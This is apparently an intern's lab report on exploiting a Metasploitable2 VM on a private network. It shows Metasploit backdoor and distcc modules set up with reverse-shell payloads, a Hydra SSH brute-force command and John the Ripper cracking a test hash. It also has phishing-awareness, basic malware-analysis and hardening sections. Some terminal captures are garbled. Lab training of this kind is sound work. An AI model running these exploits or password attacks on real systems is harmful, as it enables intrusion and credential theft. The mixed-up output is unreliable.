

# Task 4 – Exploitation and System Security

**ApexPlanet Software Pvt. Ltd. – Cyber Security Internship**

**Name:** Raafia Muskaan

**Task:** Task 4 – Exploitation and System Security

## 1. Objective

The objective of this task was to understand the complete penetration testing lifecycle by performing controlled exploitation of vulnerable services, studying password auditing techniques, learning the fundamentals of malware analysis, implementing basic system hardening measures, and understanding social engineering attacks from a defensive perspective.

## 2. Tools Used

- Kali Linux
- Metasploit Framework
- Hydra
- John the Ripper
- OpenSSL
- iptables
- systemctl / service
- ss
- SHA-256 utilities
- Terminal

## 3. Penetration Testing Methodology

A systematic penetration testing methodology was followed throughout this task.

The process consisted of:

- Information Gathering
- Vulnerability Assessment
- Exploitation
- Post-Exploitation

- Reporting and Mitigation

Following a structured methodology ensures that vulnerabilities are identified, validated and documented in a controlled and ethical manner.

```
(kali㉿kali)-[~]
└─$ ping 192.168.56.103 -c 4
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data:
64 bytes from 192.168.56.103: icmp_seq=1 ttl=64 time=41.0 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=64 time=6.49 ms
64 bytes from 192.168.56.103: icmp_seq=3 ttl=64 time=1.40 ms
64 bytes from 192.168.56.103: icmp_seq=4 ttl=64 time=10.9 ms
The Metasploit Framework is a Rapid, Open Source Project
— 192.168.56.103 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 1.398/14.939/41.022/15.426 ms

(kali㉿kali)-[~]
└─$
```

## 4. Exploitation using Metasploit

The Metasploit Framework was launched to exploit vulnerable services running on the Metasploitable2 virtual machine.

### 4.1 Starting Metasploit

The Metasploit Framework console was started successfully.

```
msf >
msf > help

Core Commands
=====
```

| Command  | Description                                                           |
|----------|-----------------------------------------------------------------------|
| ?        | Help menu                                                             |
| banner   | Display an awesome metasploit banner                                  |
| cd       | Change the current working directory                                  |
| color    | Toggle color                                                          |
| connect  | Communicate with a host                                               |
| debug    | Display information useful for debugging                              |
| exit     | Exit the console                                                      |
| features | Display the list of not yet released features that can be opted in to |
| get      | Gets the value of a context-specific variable                         |
| getg     | Gets the value of a global variable                                   |
| grep     | Grep the output of another command                                    |
| help     | Help menu                                                             |
| history  | Show command history                                                  |
| load     | Load a framework plugin                                               |
| quit     | Exit the console                                                      |
| repeat   | Repeat a list of commands                                             |
| route    | Route traffic through a session                                       |
| save     | Saves the active datastores                                           |
| sessions | Dump session listings and display information about sessions          |
| set      | Sets a context-specific variable to a value                           |
| setg     | Sets a global variable to a value                                     |
| sleep    | Do nothing for the specified number of seconds                        |
| spool    | Write console output into a file as well the screen                   |
| threads  | View and manipulate background threads                                |
| tips     | Show a list of useful productivity tips                               |
| unload   | Unload a framework plugin                                             |
| unset    | Unsets one or more context-specific variables                         |

## 4.2 Searching for VSFTPD Exploit

The vulnerable VSFTPD service exploit module was searched.

**Screenshot Attached:** 03\_search\_vsftpd.png

The exploit module options were configured by setting the target host.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

Payload options (cmd/linux/http/x86/meterpreter\_reverse\_tcp):

| Name           | Current Setting | Required | Description                                                                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                                                                                                                      |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                                                                    |
| FETCH_SRVPORT  | 8080            | yes      | Local port to use for serving payload                                                                                                                                                                                  |
| FETCH_URI_PATH |                 | no       | Local URI to use for serving payload                                                                                                                                                                                   |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                                                                        |

When FETCH\_COMMAND is one of CURL,GET,WGET:

|               |      |     |                                                    |
|---------------|------|-----|----------------------------------------------------|
| FETCH_URIPATH |      | no  | Local URI to use for serving payload               |
| LHOST         |      | yes | The listen address (an interface may be specified) |
| LPORT         | 4444 | yes | The listen port                                    |

When FETCH\_COMMAND is one of CURL,GET,WGET:

| Name       | Current Setting | Required | Description                                                                             |
|------------|-----------------|----------|-----------------------------------------------------------------------------------------|
| FETCH_PIPE | false           | yes      | Host both the binary payload and the comm and so it can be piped directly to the shell. |

When FETCH\_FILELESS is none:

| Name               | Current Setting | Required | Description                                                                         |
|--------------------|-----------------|----------|-------------------------------------------------------------------------------------|
| FETCH_FILENAME     | fxGAeZtLHw      | no       | Name to use on remote system when storing payload; cannot contain spaces or slashes |
| FETCH_WRITABLE_DIR | ./              | yes      | Remote writable dir to store payload; cannot contain spaces                         |

Exploit target:

| Id | Name               |
|----|--------------------|
| -- | ---                |
| 0  | Linux/Unix Command |

View the full module info with the `info`, or `info -d` command.

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.103
RHOSTS => 192.168.56.103
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

```

| Name   | Current Setting | Required | Description                                                                                                                                                                                         |
|--------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.56.103  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT  | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

```

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

```

| Name           | Current Setting | Required | Description                                                                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)                                                                                                                                                      |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                                                                    |
| FETCH_SRVPORT  | 8080            | yes      | Local port to use for serving payload                                                                                                                                                                                  |
| FETCH_URI_PATH |                 | no       | Local URI to use for serving payload                                                                                                                                                                                   |
| LHOST          |                 | yes      | The listen address (an interface may be specified)                                                                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                                                                        |

When FETCH\_COMMAND is one of CURL,GET,WGET:

Although the exploit executed correctly, an interactive shell was not obtained.

### 4.3 UnrealIRCd Exploit

The UnrealIRCd backdoor exploit module was searched and configured.

```

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.103
RHOSTS => 192.168.56.103
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  Name      Current Setting  Required  Description
  ---      -
RHOSTS     192.168.56.103  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      6667             yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ---      -
FETCH_COMMAND  CURL             yes       Command to fetch payload (Accepted: C
FETCH_DELETE   false           yes       Attempt to delete the binary after ex
FETCH_FILELESS none             yes       Attempt to run payload without touchi
FETCH_SRVHOST  8080            no        Local IP to use for serving payload
FETCH_SRVPORT  8080            yes       Local port to use for serving payload
FETCH_URIPATH  no              no        Local URI to use for serving payload

```



```

msf5 FETCH_URI_PATH ory file /home/kali/.ssh/ his Local URI to use for serving payload
LHOST 192.168.56.101 yes The listen address (an interface may
be specified)
LPORT 4444 yes The listen port
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
When FETCH_COMMAND is one of CURL,GET,WGET: <len 64 scopeid 0x20<link>
inet6 fd17:625c:f037:2::1abb:8a50:5ad9:3b91 prefixlen 64 scopeid 0x0<global>
Name Current Setting Required Description
-----
RX packets 137295 bytes 8880092
TX errors 0 dropped 12 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
When FETCH_FILELESS is none: mask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::57b7:c607:1449:2df0 prefixlen 64 scopeid 0x20<link>
Name ether 08:00:27: Current Setting Required Description
-----
RX packets 462
TX errors 0 dropped 14 overruns 0 carrier 0 collisions 0
FETCH_FILENAME 0 d LDBJAHUFLU errors no frame Name to use on remote system when
storing payload; cannot contain
spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payl
oad; cannot contain spaces
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
Exploit target: <queue>len 1000 (Local Loopback)
RX packets 28 bytes 2528 (2.4 KiB)
Id Name errors 0 dropped 0 overruns 0 frame 0
--
0 Linux/Unix Commanded 0 overruns 0 carrier 0 collisions 0
msf5 <kali> <kali> |~|
View the full module info with the info, or info -d command.
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) >

```

No command shell session was established during this attempt.

## 4.4 DistCC Exploit

The DistCC Remote Command Execution module was configured successfully.



```

Session Actions Edit View Help
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      inet6 fe80::2218:9cb... no         The local client address
  CPORT      inet6 fd17:625c:f037... no         The local client port
  Proxies     ether 08:00:27:8a:35... no         A proxy chain of format type:host:port[,type
  RHOSTS     192.168.56.103 yes         The target host(s), see https://docs.metaspl
  RPORT      3632 UP,BROADCAST yes         The target port (TCP)

Payload options (cmd/unix/reverse_bash):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      10.0.2.15 dropp yes         The listen address (an interface may be specif
  LPORT      4444 LOOPBACK,R yes         The listen port

Exploit target: queue len 1000 (Local Loopback)

  Id  Name  errors 0 dropped 0 overruns 0 frame 0
  --  ---  -
  0   Automatic Target dropped 0 overruns 0 carrier 0 collisions 0

View the full module info with the info, or info -d command.

```

The exploit successfully established a remote shell session on the vulnerable machine, demonstrating successful exploitation of the DistCC service.

## 5. Password Attacks

### 5.1 Hydra Password Attack

Hydra was used to perform an SSH password attack against the Metasploitable2 machine.

The attack encountered compatibility issues because the legacy SSH algorithms supported by Metasploitable2 are disabled by default in modern Kali Linux versions.

```

(kali㉿kali)-[~]
$ hydra -l msfadmin -P passwords.txt ssh://192.168.56.103
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 04:28:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the ta
sks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://192.168.56.103:22/
[ERROR] could not connect to ssh://192.168.56.103:22 - kex error : no match for method mac algo client->
server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sh
a1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hm
ac-sha2-512]

```

Session Actions Edit View Help

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ nmap -p 22 192.168.56.103
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-17 04:18 -0400
Nmap scan report for 192.168.56.103
Host is up (0.035s latency).
```

```
PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:B7:BC:2F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds
```

```
(kali@kali)-[~]
```

```
(kali@kali)-[~]
$ hydra -h
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)
```

```
Syntax: hydra [[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISouVd46] [-m MODULE_OPT] [service://server[:PORT][:/OPT]]
```

Options:

- R restore a previous aborted/crashed session
- I ignore an existing restore file (don't wait 10 seconds)
- S perform an SSL connect
- s PORT if the service is on a different default port, define it here
- l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
- p PASS or -P FILE try password PASS, or load several passwords from FILE
- x MIN:MAX:CHARSET password brute-force generation, type "-x -h" to get help
- y disable use of symbols in brute-force, see above
- r use a non-random shuffling method for option -x
- e nsr try "n" null password, "s" login as pass and/or "r" reversed login
- u loop around users, not passwords (effective! implied with -x)
- C FILE colon separated "login:pass" format, instead of -L/-P options
- M FILE list of servers to attack, one entry per line, ':' to specify port
- D XofY Divide wordlist into Y segments and use the Xth segment.
- o FILE write found login/password pairs to FILE instead of stdout
- b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
- f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
- t TASKS run TASKS number of connects in parallel per target (default: 16)
- T TASKS run TASKS connects in parallel overall (for -M, default: 64)
- w / -W TIME wait time for a response (32) / between connects per thread (0)
- c TIME wait time per login attempt over all threads (enforces -t 1)
- 4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
- v / -V / -d verbose mode / show login+pass for each attempt / debug mode
- O use old SSL v2 and v3
- K do not redo failed attempts (good for -M mass scanning)

```
(kali@kali)-[~]
$ ls /usr/share/wordlists/
dirb      dnsmap.txt  fern-wifi  legion     nmap.lst   sqlmap.txt  wifite.txt
dirbuster fasttrack.txt john.lst   metasploit rockyou.txt.gz wfuzz
```

```
(kali@kali)-[~]
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for kali:
```

```
(kali@kali)-[~]
$ ls /usr/share/wordlists/
dirb      dnsmap.txt  fern-wifi  legion     nmap.lst   sqlmap.txt  wifite.txt
dirbuster fasttrack.txt john.lst   metasploit rockyou.txt wfuzz
```

```
(kali@kali)-[~]
```

```

(kali@kali)-[~]
$ hydra -l msfadmin -P passwords.txt ssh://192.168.56.103
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 04:28:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the ta
sks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://192.168.56.103:22/
[ERROR] could not connect to ssh://192.168.56.103:22 - kex error : no match for method mac algo client→
server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sh
a1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hm
ac-sha2-512]
(kali@kali)-[~]

```

## 5.2 John the Ripper

John the Ripper was used to crack a password hash generated using OpenSSL.

The password was successfully recovered using the RockYou wordlist.

```

$ john --help
Created directory: /home/kali/.john
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64
SSE2 AC]
Copyright (c) 1996-2021 by Solar Designer and others
Homepage: https://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]

--help                               Print usage summary
--single[=SECTION[,..]]              "Single crack" mode, using default or named rules
--single=:rule[,..]                  Same, using "immediate" rule(s)
--single-seed=WORD[,WORD]             Add static seed word(s) for all salts in single mode
--single-wordlist=FILE                *Short* wordlist with static seed words/morphemes
--single-user-seed=FILE               Wordlist with seeds per username (user:password[s]
format)
--single-pair-max=N                  Override max. number of word pairs generated (6)
--no-single-pair                     Disable single word pair generation
--[no-]single-retest-guess            Override config for SingleRetestGuess
--wordlist[=FILE] --stdin             Wordlist mode, read words from FILE or stdin
--pipe                               like --stdin, but bulk reads, and allows rules
--rules[=SECTION[,..]]              Enable word mangling rules (for wordlist or PRINCE
modes), using default or named rules
--rules=:rule[;..]                  Same, using "immediate" rule(s)
--rules-stack=SECTION[,..]          Stacked rules, applied after regular rules or to
modes that otherwise don't support rules
--rules-stack=:rule[;..]            Same, using "immediate" rule(s)
--rules-skip-nop                     Skip any NOP ":" rules (you already ran w/o rules)
--loopback[=FILE]                   Like --wordlist, but extract words from a .pot file
--mem-file-size=SIZE                 Size threshold for wordlist preload (default 2048 MB)
--dupe-suppression                   Suppress all dupes in wordlist (and force preload)
--incremental[=MODE]                "Incremental" mode [using section MODE]
--incremental-charcount=N            Override CharCount for incremental mode
--external=MODE                      External mode or word filter
--mask[=MASK]                        Mask mode using MASK (or default from john.conf)
--markov[=OPTIONS]                  "Markov" mode (see doc/MARKOV)
--mkv-stats=FILE                    "Markov" stats file

```



format(s), including using

```
(kali㉿kali)-[~]  
$ openssl passwd -1 password123  
$1$rWhXCJbC$8tcfPHcN78P1TmiN06zCl1
```

```
(kali㉿kali)-[~]  
$
```

```
(kali㉿kali)-[~]  
$ nano hashes.txt
```

```
(kali㉿kali)-[~]  
$ cat hashes.txt  
$1$rWhXCJbC$8tcfPHcN78P1TmiN06zCl1
```

```
(kali㉿kali)-[~]  
$
```

```
$ nano hashes.txt
```

```
(kali㉿kali)-[~]  
$ cat hashes.txt  
$1$rWhXCJbC$8tcfPHcN78P1TmiN06zCl1
```

```
(kali㉿kali)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt  
stat: hashes.txt: No such file or directory
```

```
(kali㉿kali)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt  
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"  
Use the "--format=md5crypt-long" option to force loading these as that type instead  
Using default input encoding: UTF-8  
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password123 (?)  
1g 0:00:00:00 DONE (2026-07-17 04:33) 7.692g/s 11076p/s 11076c/s 11076C/s teacher..michel  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.
```

```
(kali㉿kali)-[~]  
$ nano words.txt
```

```
(kali㉿kali)-[~]  
$ john --wordlist=words.txt hashes.txt  
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"  
Use the "--format=md5crypt-long" option to force loading these as that type instead  
Using default input encoding: UTF-8  
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])  
No password hashes left to crack (see FAQ)
```

```
(kali㉿kali)-[~]  
$
```

```
Session completed.

(kali@kali)-[~]
$ nano words.txt

(kali@kali)-[~]
$ john --wordlist=words.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
No password hashes left to crack (see FAQ)

(kali@kali)-[~]
$ john --show hashes.txt
?:password123

1 password hash cracked, 0 left

(kali@kali)-[~]
$
```

This demonstrated the importance of using strong passwords and avoiding predictable credentials.

## 6. Social Engineering Awareness

Social engineering attacks manipulate users into revealing sensitive information.

During this task, phishing attacks were studied conceptually for awareness purposes.

Important defensive measures include:

- Verifying website URLs
- Checking HTTPS certificates
- Avoiding suspicious email links
- Never sharing login credentials on unknown websites
- Reporting phishing attempts

No real phishing campaign was performed.

## 7. Malware Basics

A harmless sample file was analyzed to understand basic malware analysis techniques.

The following activities were performed:

- Checking file type
- Viewing file details
- Calculating SHA-256 hash
- Understanding static and dynamic analysis concepts

Static analysis examines files without executing them, whereas dynamic analysis observes program behavior inside an isolated environment.

```
(kali㉿kali)-[~/phishing_demo]
$ mkdir ~/malware_demo

(kali㉿kali)-[~/phishing_demo]
$ cd ~/malware_demo

(kali㉿kali)-[~/malware_demo]
$ echo "This is a harmless malware analysis demo." > sample.txt

(kali㉿kali)-[~/malware_demo]
$ file sample.txt
sample.txt: ASCII text

(kali㉿kali)-[~/malware_demo]
$
```

```
(kali㉿kali)-[~/malware_demo]
$ ls -lh sample.txt
-rw-rw-r-- 1 kali kali 42 Jul 17 04:52 sample.txt

(kali㉿kali)-[~/malware_demo]
$
```

```
(kali㉿kali)-[~/malware_demo]
$ sha256sum sample.txt
32791feb283772190b18f0252bc2cded57e31115b33cd14e93e602b46f9fbb39 sample.txt

(kali㉿kali)-[~/malware_demo]
$
```

```
(kali㉿kali)-[~/malware_demo]
$ nano malware_notes.txt

(kali㉿kali)-[~/malware_demo]
$ cat malware_notes.txt
Static Analysis:
- Examining a file without executing it.
- Checking hashes, strings, metadata and file type.

Dynamic Analysis:
- Executing a file inside an isolated sandbox or virtual machine.
- Monitoring processes, network activity and system changes.

(kali㉿kali)-[~/malware_demo]
$
```

## 8. System Hardening

Basic system hardening measures were performed to improve system security.

The following activities were completed:

- Viewing firewall rules
- Checking running services
- Viewing active listening ports
- Updating package information
- Documenting security best practices

Recommended hardening practices include:

- Regular system updates
- Firewall configuration
- Strong password policies
- Disabling unnecessary services
- Restricting unused ports
- Security patch management
- Regular backups
- Periodic security audits



```
(kali㉿kali)-[~/malware_demo]
$ sudo iptables -L
[sudo] password for kali:
Chain INPUT (policy ACCEPT)
target     prot opt source                destination

Chain FORWARD (policy ACCEPT)
target     prot opt source                destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source                destination

(kali㉿kali)-[~/malware_demo]
$ █
```

```
(kali㉿kali)-[~/malware_demo]
$ service --status-all
[ - ] apache-htcacheclean
[ - ] apache2
[ - ] apparmor
[ - ] atftpd
[ - ] bluetooth
[ - ] console-setup.sh
[ + ] cron
[ - ] cryptdisks
[ - ] cryptdisks-early
[ + ] dbus
[ - ] inetsim
[ - ] iodined
[ - ] ipsec
[ - ] keyboard-setup.sh
[ + ] lightdm
[ - ] lm-sensors
[ - ] mariadb
[ - ] miredo
[ - ] mosquitto
[ + ] networking
[ - ] nfs-common
[ - ] nginx
[ - ] nmbd
[ - ] openvpn
[ - ] pcscd
[ - ] plymouth
[ + ] plymouth-log
[ - ] postgresql
[ + ] procps
[ - ] ptunnel
[ - ] redis-server
[ - ] redsocks
[ - ] rpcbind
```

```
(kali㉿kali)-[~/malware_demo]
$ ss -tuln
Netid      State      Recv-Q     Send-Q      Local Address:Port      Peer Address:Port
tcp        LISTEN     0           1024         0.0.0.0:8834             0.0.0.0:*
tcp        LISTEN     0           1024         [::]:8834                [::]:*
```

```
(kali㉿kali)-[~/malware_demo]
$ sudo apt update
Get:1 http://mirrors.esto.network/kali kali-rolling InRelease [34.0 kB]
Get:2 http://mirrors.esto.network/kali kali-rolling/main amd64 Packages [21.4 MB]
Get:3 http://mirrors.esto.network/kali kali-rolling/main amd64 Contents (deb) [53.6 MB]
Get:4 http://mirrors.esto.network/kali kali-rolling/contrib amd64 Packages [104 kB]
Get:5 http://mirrors.esto.network/kali kali-rolling/contrib amd64 Contents (deb) [189 kB]
Get:6 http://mirrors.esto.network/kali kali-rolling/non-free amd64 Packages [169 kB]
Get:7 http://mirrors.esto.network/kali kali-rolling/non-free amd64 Contents (deb) [887 kB]
Get:8 http://mirrors.esto.network/kali kali-rolling/non-free-firmware amd64 Packages [15.8 kB]
Get:9 http://mirrors.esto.network/kali kali-rolling/non-free-firmware amd64 Contents (deb) [40.3 kB]
Fetched 76.5 MB in 13s (5,743 kB/s)
1777 packages can be upgraded. Run 'apt list --upgradable' to see them.
```

```
(kali㉿kali)-[~]
$ nano hardening_notes.txt

(kali㉿kali)-[~]
$ cat hardening_notes.txt
Basic System Hardening Measures
-Keep the operating system updated.
-Enable and configure a firewall.
-Disable unnecessary services.
-Use strong passwords.
-Apply security patches regularly.
-Restrict unnecessary network ports.
-Use antivirus or endpoint protection where applicable.
-Perform regular security audits and backups.
```

## 9. Key Learnings

During this task, I learned:

- The stages of penetration testing.
- Practical exploitation using the Metasploit Framework.
- Password auditing using Hydra and John the Ripper.
- The importance of password complexity.

- Basic malware analysis concepts.
- The difference between static and dynamic malware analysis.
- Fundamental system hardening techniques.
- Awareness of social engineering attacks and phishing prevention.

## **10. Challenges Faced**

The following challenges were encountered:

- Some Metasploit exploit modules did not provide an interactive shell despite correct configuration.
- Hydra experienced SSH compatibility issues due to legacy encryption algorithms used by Metasploitable2.
- Understanding the behavior of legacy vulnerable services required additional troubleshooting.

These challenges provided valuable practical experience in working with real-world security tools and vulnerable environments.

## **11. Conclusion**

This task provided practical experience in exploitation, password auditing, malware analysis, and system hardening using industry-standard security tools.

Through the use of Metasploit, Hydra, John the Ripper, and Linux security utilities, I gained hands-on knowledge of offensive security techniques while also understanding defensive security practices used to protect systems against cyber threats. The task reinforced the importance of ethical hacking, secure system configuration, strong authentication mechanisms, and continuous security monitoring.